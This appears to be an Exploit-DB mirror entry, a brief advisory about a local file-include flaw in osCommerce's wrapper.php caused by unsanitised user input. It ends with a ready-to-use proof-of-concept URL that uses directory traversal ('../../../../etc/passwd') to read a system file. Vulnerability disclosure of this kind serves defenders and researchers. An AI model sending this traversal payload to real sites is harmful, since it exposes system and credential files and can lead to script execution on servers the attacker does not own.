exploit-db-mirror/platforms/php/webapps/30217.txt
Offensive Security 1e0b592801 Updated 12_17_2013
2013-12-17 17:05:06 +00:00

7 lines
No EOL
352 B
Text
Executable file

source: http://www.securityfocus.com/bid/24565/info
Wrapper.php for OsCommerce is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
Exploiting this issue may allow an unauthorized user to view files and execute local scripts.
http://www.example.com/wrapper.php?file=../../../../etc/passwd